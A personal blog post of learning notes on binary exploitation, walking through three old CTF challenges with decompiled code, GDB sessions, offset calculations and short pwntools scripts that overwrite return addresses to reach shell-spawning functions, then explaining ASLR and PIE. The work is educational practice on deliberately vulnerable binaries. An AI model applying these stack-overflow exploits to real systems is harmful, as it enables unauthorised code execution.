Written by
ZyphenSVC

Share this post!

Tweet

← ../

Learning Bin Exp from Scratch 03

May 27, 20242 min read

Forenote

I'm bored... Might as well become a god of binary exploitation.

This would not be possible if it wasnt for Nightmare by guyinatuxedo. This series is a compilation of my summarized notes and remarks done by me and me alone.

Call Function Overflows

CSAW 2016 Warmup

$ ./warmup
-Warm Up-
WOW:0x40060d
>d

$ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped

$ checksec warmup
[*] '/mnt/e/downloads/warmup'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
void main(void)

{
  char flagvar [64];
  char input [64];
  
  write(1,"-Warm Up-\n",10);
  write(1,&WarmUp,4);
  sprintf(flagvar,"%p\n",flag);
  write(1,flagvar,9);
  write(1,&">",1);
  gets(input);
  return;
}
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __stdcall main(void)
             undefined         AL:1           <RETURN>
             undefined1[64]    Stack[-0x48]   input                                   XREF[1]:     00400692(*)  
             undefined1[64]    Stack[-0x88]   flagvar                                 XREF[2]:     0040064d(*), 
                                                                                                   00400668(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:0040053d(*), 0040077c, 
                                                                                          00400830(*)  
        0040061d 55              PUSH       RBP

This uses a new idea which I got lost at for a while. From what I understand, we basically have to change the return address of the main function. Therefore instead of changing a variable value, we are changing the return value itself. Thus we need to see the offset of the return function.

        00400692 48 8d 45 c0     LEA        RAX=>input,[RBP + -0x40]
        00400696 48 89 c7        MOV        RDI,RAX
        00400699 b8 00 00        MOV        EAX,0x0
                 00 00
        0040069e e8 5d fe        CALL       <EXTERNAL>::gets                                 char * gets(char * __s)
                 ff ff
        004006a3 c9              LEAVE
        004006a4 c3              RET

IN GDB:

gef➤  b *0x00000000004006a3
Breakpoint 1 at 0x4006a3
gef➤  r
Starting program: /mnt/e/downloads/warmup
-Warm Up-
WOW:0x40060d
>aaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x00000000004006a3 in main ()
/home/zyphen/.gdbinit-gef.py:2488: DeprecationWarning: invalid escape sequence '\ÿ'
  res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffffffed820"aaaaaaaaaaaaaaaaaaaaaa"
$rbx   : 0x00000000004006b0<__libc_csu_init+0> push r15
$rcx   : 0x00007fffff78c9800x00000000fbad2288
$rdx   : 0x0
$rsp   : 0x00007ffffffed7e0"0x40060d\n"
$rbp   : 0x00007ffffffed8600x0000000000000000
$rsi   : 0x00000000006022a1"aaaaaaaaaaaaaaaaaaaaa\n"
$rdi   : 0x00007fffff78e7f00x0000000000000000
$rip   : 0x00000000004006a3<main+134> leave
$r8    : 0x00007ffffffed820"aaaaaaaaaaaaaaaaaaaaaa"
$r9    : 0x0
$r10   : 0x00007fffff78cbe00x00000000006024a00x0000000000000000
$r11   : 0x00007fffff78cbe00x00000000006024a00x0000000000000000
$r12   : 0x0000000000400520<_start+0> xor ebp, ebp
$r13   : 0x00007ffffffed9500x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffffffed7e0+0x0000: "0x40060d\n"$rsp
0x00007ffffffed7e8+0x0008: 0x000000000000000a
0x00007ffffffed7f0+0x0010: 0x0000000000000000
0x00007ffffffed7f8+0x0018: 0x0000000000000000
0x00007ffffffed800+0x0020: 0x0000000000400040(bad)
0x00007ffffffed808+0x0028: 0x0000000000000009
0x00007ffffffed810+0x0030: 0x00007ffffffed8800x00000001ff7887a0
0x00007ffffffed818+0x0038: 0x00007ffffffedb900x2f0034365f363878 ("x86_64"?)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400696 <main+121>       mov    rdi, rax
     0x400699 <main+124>       mov    eax, 0x0
     0x40069e <main+129>       call   0x400500 <gets@plt>0x4006a3 <main+134>       leave
     0x4006a4 <main+135>       ret
     0x4006a5                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x4006af                  nop
     0x4006b0 <__libc_csu_init+0> push   r15
     0x4006b2 <__libc_csu_init+2> mov    r15d, edi
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a3 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern aaaaaaaaaaaaaaaaaaaaaa
[+] Searching 'aaaaaaaaaaaaaaaaaaaaaa' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x6022a0 - 0x6022b8"aaaaaaaaaaaaaaaaaaaaaa\n"
[+] In '[stack]'(0x7fffff7ef000-0x7ffffffef000), permission=rw-
  0x7ffffffed820 - 0x7ffffffed836"aaaaaaaaaaaaaaaaaaaaaa"
gef➤  i r
rax            0x7ffffffed820      0x7ffffffed820
rbx            0x4006b0            0x4006b0
rcx            0x7fffff78c980      0x7fffff78c980
rdx            0x0                 0x0
rsi            0x6022a1            0x6022a1
rdi            0x7fffff78e7f0      0x7fffff78e7f0
rbp            0x7ffffffed860      0x7ffffffed860
rsp            0x7ffffffed7e0      0x7ffffffed7e0
r8             0x7ffffffed820      0x7ffffffed820
r9             0x0                 0x0
r10            0x7fffff78cbe0      0x7fffff78cbe0
r11            0x7fffff78cbe0      0x7fffff78cbe0
r12            0x400520            0x400520
r13            0x7ffffffed950      0x7ffffffed950
r14            0x0                 0x0
r15            0x0                 0x0
rip            0x4006a3            0x4006a3 <main+134>
eflags         0x206               [ PF IF ]
cs             0x33                0x33
ss             0x2b                0x2b
ds             0x0                 0x0
es             0x0                 0x0
fs             0x0                 0x0
gs             0x0                 0x0
gef➤  i f
Stack level 0, frame at 0x7ffffffed870:
 rip = 0x4006a3 in main; saved rip = 0x7fffff5c4083
 Arglist at 0x7ffffffed860, args:
 Locals at 0x7ffffffed860, Previous frame's sp is 0x7ffffffed870
 Saved registers:
  rbp at 0x7ffffffed860, rip at 0x7ffffffed868

Thus the position of the gets function to the return function is taking the starting value at 0x7ffffffed820 and finding the end of the leave call, which is 0x7ffffffed868. Offset is thus 72 bytes.

I ran into a couple of problems with the directing the start of the easy function straight to its starting point. I figure this has to deal with pushing rbp to memory which leads to sigkill. So I chose the address right afterwards.

gef➤  disas easy
Dump of assembler code for function easy:
   0x000000000040060d <+0>:     push   rbp
   0x000000000040060e <+1>:     mov    rbp,rsp
   0x0000000000400611 <+4>:     mov    edi,0x400734
   0x0000000000400616 <+9>:     call   0x4004d0 <system@plt>
   0x000000000040061b <+14>:    pop    rbp
=> 0x000000000040061c <+15>:    ret
End of assembler dump.

I chose 0x40060e as my starting point for context.

from pwn import *

target = process("./warmup")

offset = 72

p = b"a"*offset + p64(0x40060e)

target.send(p)
target.interactive()
$ python3 ape.py
[+] Starting local process './warmup': pid 1313
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>$
TWCTF{pwnable_warmup_I_did_it!}
[*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 1313)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive

Took a lot of debugging with the program.

CSAW 2018 Get It

In ghidra:

int main(void)

{
  char input [32];
  
  puts("Do you gets it??");
  gets(input);
  return 0;
}

Seems easy enough.

gef➤  i f
Stack level 0, frame at 0x7ffffffed860:
 rip = 0x4005f6 in main; saved rip = 0x7fffff5c4083
 Arglist at 0x7ffffffed850, args:
 Locals at 0x7ffffffed850, Previous frame's sp is 0x7ffffffed860
 Saved registers:
  rbp at 0x7ffffffed850, rip at 0x7ffffffed858
gef➤  search-pattern aaaaaaaa
[+] Searching 'aaaaaaaa' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x6024b0 - 0x6024ba"aaaaaaaa\n"
[+] In '[stack]'(0x7fffff7ef000-0x7ffffffef000), permission=rw-
  0x7ffffffed830 - 0x7ffffffed838"aaaaaaaa"
$ python
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7ffffffed858 - 0x7ffffffed830
40
>>>

Offset 40.

gef➤  disas give_shell
Dump of assembler code for function give_shell:
   0x00000000004005b6 <+0>:     push   rbp
   0x00000000004005b7 <+1>:     mov    rbp,rsp
   0x00000000004005ba <+4>:     mov    edi,0x400684
   0x00000000004005bf <+9>:     call   0x400480 <system@plt>
   0x00000000004005c4 <+14>:    nop
   0x00000000004005c5 <+15>:    pop    rbp
   0x00000000004005c6 <+16>:    ret
End of assembler dump.
gef➤  quit

Choosing give_shell+1 as my return location.

$ python ape.py
[+] Starting local process './get_it': pid 1414
[*] Switching to interactive mode
Do you gets it??
$
$ echo helloworld
helloworld
$

Easy challenge from what I learned previously.

TuCTF 2017 vulnchat

$ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: d
Welcome d!
Connecting to 'djinn'
d
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
d: djinn: Sorry. That''s not good enough

$ file vuln-chat
vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped

$ checksec vuln-chat
[*] '/mnt/e/downloads/vuln-chat'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int main(void)

{
  undefined key [20];
  char input [20];
  int formatstr;
  undefined local_5;
  
  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("----------- Welcome to vuln-chat -------------");
  printf("Enter your username: ");
  formatstr = 0x73303325;
  local_5 = 0;
  __isoc99_scanf(&formatstr,input);
  printf("Welcome %s!\n",input);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: I have the information. But how do I know I can trust you?");
  printf("%s: ",input);
  __isoc99_scanf(&formatstr,key);
  puts("djinn: Sorry. That\'s not good enough");
  fflush(stdout);
  return 0;
}
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined4 __cdecl main(void)
             undefined4        EAX:4          <RETURN>
             undefined1        Stack[-0x5]:1  local_5                                 XREF[1]:     080485c5(W)  
             undefined4        Stack[-0x9]:4  formatstr                               XREF[3]:     080485be(W), 
                                                                                                   080485cd(*), 
                                                                                                   08048630(*)  
             undefined1[20]    Stack[-0x1d]   input                                   XREF[3]:     080485c9(*), 
                                                                                                   080485d9(*), 
                                                                                                   0804861b(*)  
             undefined1[20]    Stack[-0x31]   key                                     XREF[1]:     0804862c(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:08048487(*), 08048830, 
                                                                                          080488ac(*)  
        0804858a 55              PUSH       EBP

We have to override the format string and then overflow from key to the return address. From the format string to the input, we have a 20 byte difference, and then we can reset the format specfier from there.

from pwn import *

context.log_level='warn'

for i in range(20,91):
    target = process("./vuln-chat")
    offset = i
    print(i)
    p = b"a"*20 + b"%99s\n"
    p += b"b"*i + p32(0x804856c)
    target.sendline(p)
    target.recvuntil(b"Sorry. That's not good enough\n")
    target.interactive()
$
46
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
$
47
$
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
$
48
$
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
$
49
$
TWCTF{pwnable_warmup_I_did_it!}
Use it wisely
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
$
50
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
$
[5]+  Stopped                 python3 ape.py

It's a little brute forcy for the second offset, but I personally didnt know any other way. My GDB on WSL doesn't like to act nice with 32 bit programs. Probably will have to switch to vms.

When reading the guide they found the second offset the normal way which is 0x31 or 49 bytes as well.

ASLR

These two are a form of mitigation that program developers can do to prevent people from breaking in.

ASLR stands for address space randomization in a sense. Generally each memory address is associated with a byte of code when executed. ASLR randomizes this memory location to prevent static binaries per each launch of the program.

The way we can bypass this is by leaking an address from a memory region that we want to know what the address space is. Meaning we can look at the memory mappings of a process with vmmap.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x00000000023b9000 0x00000000023da000 0x0000000000000000 rw- [heap]
0x00007ff338df3000 0x00007ff338e18000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338e18000 0x00007ff338f8b000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338f8b000 0x00007ff338fd4000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338fd4000 0x00007ff338fd7000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338fd7000 0x00007ff338fda000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338fda000 0x00007ff338fe0000 0x0000000000000000 rw-
0x00007ff338ff6000 0x00007ff338ff7000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff338ff7000 0x00007ff339018000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339018000 0x00007ff339020000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339020000 0x00007ff339021000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339021000 0x00007ff339022000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339022000 0x00007ff339023000 0x0000000000000000 rw-
0x00007ffcdc7ab000 0x00007ffcdc7cc000 0x0000000000000000 rw- [stack]
0x00007ffcdc7d3000 0x00007ffcdc7d6000 0x0000000000000000 r-- [vvar]
0x00007ffcdc7d6000 0x00007ffcdc7d7000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

This is how this looks.

We can see various memory regions such as the heap, stack, libc, and more. Even though the address in memory change, whats important is that the offset is static. So if we find one single memory address, we know where everything else is in proximity to that one address. An offset!

Note this sounds great, but it is important to note that these proximal mappings are only good to adhering parent of the memory address. Meaning an address in libc wont be able to affect the heap or stack.

PIE

PIE stands for Position Independent Executable. Similar to ASLR for the memory regions and code itself. Meaning the instruction addresses are fixed, but not the memory regions like libc, heap, and stack.

This is done by creating a new starting point in memory, a base offset, of where the program will start. Then everything is executed in this base offset and the offset of the start code.

Before PIE:

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:    push   rbp
   0x0000000000401133 <+1>:    mov    rbp,rsp
   0x0000000000401136 <+4>:    sub    rsp,0x20
   0x000000000040113a <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401143 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401147 <+21>:    xor    eax,eax
   0x0000000000401149 <+23>:    mov    rdx,QWORD PTR [rip+0x2ef0]        # 0x404040 <stdin@@GLIBC_2.2.5>
   0x0000000000401150 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000401154 <+34>:    mov    esi,0x9
   0x0000000000401159 <+39>:    mov    rdi,rax
   0x000000000040115c <+42>:    call   0x401040 <fgets@plt>
=> 0x0000000000401161 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x0000000000401168 <+54>:    nop
   0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000401176 <+68>:    je     0x40117d <main+75>
   0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>
   0x000000000040117d <+75>:    leave  
   0x000000000040117e <+76>:    ret    
End of assembler dump.
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

With PIE:

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001145 <+0>:    push   rbp
   0x0000000000001146 <+1>:    mov    rbp,rsp
   0x0000000000001149 <+4>:    sub    rsp,0x20
   0x000000000000114d <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000001156 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000115a <+21>:    xor    eax,eax
   0x000000000000115c <+23>:    mov    rdx,QWORD PTR [rip+0x2ead]        # 0x4010 <stdin@@GLIBC_2.2.5>
   0x0000000000001163 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000001167 <+34>:    mov    esi,0x9
   0x000000000000116c <+39>:    mov    rdi,rax
   0x000000000000116f <+42>:    call   0x1040 <fgets@plt>
   0x0000000000001174 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x000000000000117b <+54>:    nop
   0x000000000000117c <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001180 <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000001189 <+68>:    je     0x1190 <main+75>
   0x000000000000118b <+70>:    call   0x1030 <__stack_chk_fail@plt>
   0x0000000000001190 <+75>:    leave  
   0x0000000000001191 <+76>:    ret    
End of assembler dump.
gef➤  vmmap
Start              End                Offset             Perm Path
0x000055ce0fb38000 0x000055ce0fb39000 0x0000000000000000 r-- /tmp/try
0x000055ce0fb39000 0x000055ce0fb3a000 0x0000000000001000 r-x /tmp/try
0x000055ce0fb3a000 0x000055ce0fb3b000 0x0000000000002000 r-- /tmp/try
0x000055ce0fb3b000 0x000055ce0fb3c000 0x0000000000002000 r-- /tmp/try
0x000055ce0fb3c000 0x000055ce0fb3d000 0x0000000000003000 rw- /tmp/try
0x000055ce0fb5a000 0x000055ce0fb7b000 0x0000000000000000 rw- [heap]
0x00007fb90e941000 0x00007fb90e966000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90e966000 0x00007fb90ead9000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90ead9000 0x00007fb90eb22000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90eb22000 0x00007fb90eb25000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90eb25000 0x00007fb90eb28000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90eb28000 0x00007fb90eb2e000 0x0000000000000000 rw-
0x00007fb90eb44000 0x00007fb90eb45000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb45000 0x00007fb90eb66000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb66000 0x00007fb90eb6e000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb6e000 0x00007fb90eb6f000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb6f000 0x00007fb90eb70000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb70000 0x00007fb90eb71000 0x0000000000000000 rw-
0x00007fff45acc000 0x00007fff45aed000 0x0000000000000000 rw- [stack]
0x00007fff45b19000 0x00007fff45b1c000 0x0000000000000000 r-- [vvar]
0x00007fff45b1c000 0x00007fff45b1d000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

So how do we use breakpoints with this new mitigation? We can use something called pie commands, which is the exact same thing as using regular commands but with pie prepended.

gef➤  pie b *0x116f
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)

Breakpoint 1, 0x000055555555516f in main ()
[+] base address 0x555555554000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdfde0x7fffffffe0d00000
$rbx   : 0x0               
$rcx   : 0x00005555555551a0<__libc_csu_init+0> push r15
$rdx   : 0x00007ffff7fafa000x00000000fbad2088
$rsp   : 0x00007fffffffdfd00x00005555555551a0<__libc_csu_init+0> push r15
$rbp   : 0x00007fffffffdff00x00005555555551a0<__libc_csu_init+0> push r15
$rsi   : 0x9               
$rdi   : 0x00007fffffffdfde0x7fffffffe0d00000
$rip   : 0x000055555555516f<main+42> call 0x555555555040 <fgets@plt>
$r8    : 0x00007ffff7fb1a400x0000000000000000
$r9    : 0x00007ffff7fb1a400x0000000000000000
$r10   : 0x7               
$r11   : 0x2               
$r12   : 0x0000555555555060<_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d00x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfd0+0x0000: 0x00005555555551a0<__libc_csu_init+0> push r15 ← $rsp
0x00007fffffffdfd8+0x0008: 0x0000555555555060<_start+0> xor ebp, ebp
0x00007fffffffdfe0+0x0010: 0x00007fffffffe0d00x0000000000000001
0x00007fffffffdfe8+0x0018: 0xdb3c67cc21531d00
0x00007fffffffdff0+0x0020: 0x00005555555551a0<__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdff8+0x0028: 0x00007ffff7df1b6b<__libc_start_main+235> mov edi, eax
0x00007fffffffe000+0x0030: 0x0000000000000000
0x00007fffffffe008+0x0038: 0x00007fffffffe0d80x00007fffffffe3f9"/tmp/try"
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555163 <main+30>        lea    rax, [rbp-0x12]
   0x555555555167 <main+34>        mov    esi, 0x9
   0x55555555516c <main+39>        mov    rdi, rax
 → 0x55555555516f <main+42>        call   0x555555555040 <fgets@plt>0x555555555040 <fgets@plt+0>    jmp    QWORD PTR [rip+0x2f8a]        # 0x555555557fd0 <[email protected]>
      0x555555555046 <fgets@plt+6>    push   0x1
      0x55555555504b <fgets@plt+11>   jmp    0x555555555020
      0x555555555050 <__cxa_finalize@plt+0> jmp    QWORD PTR [rip+0x2fa2]        # 0x555555557ff8
      0x555555555056 <__cxa_finalize@plt+6> xchg   ax, ax
      0x555555555058                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────── arguments (guessed) ────
fgets@plt (
   $rdi = 0x00007fffffffdfde0x7fffffffe0d00000,
   $rsi = 0x0000000000000009,
   $rdx = 0x00007ffff7fafa000x00000000fbad2088
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55555555516f → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  

Then you can just treat this exactly the same way as ASLR as the offsets remain the same everytime, just per each memory region.

See you tomorrow.


Published May 27, 2024, by ZyphenSVC.

If you enjoyed the post, consider sharing it!

Tweet


Copyright © 2024 Sriaditya Vedantam. Site source on GitHub.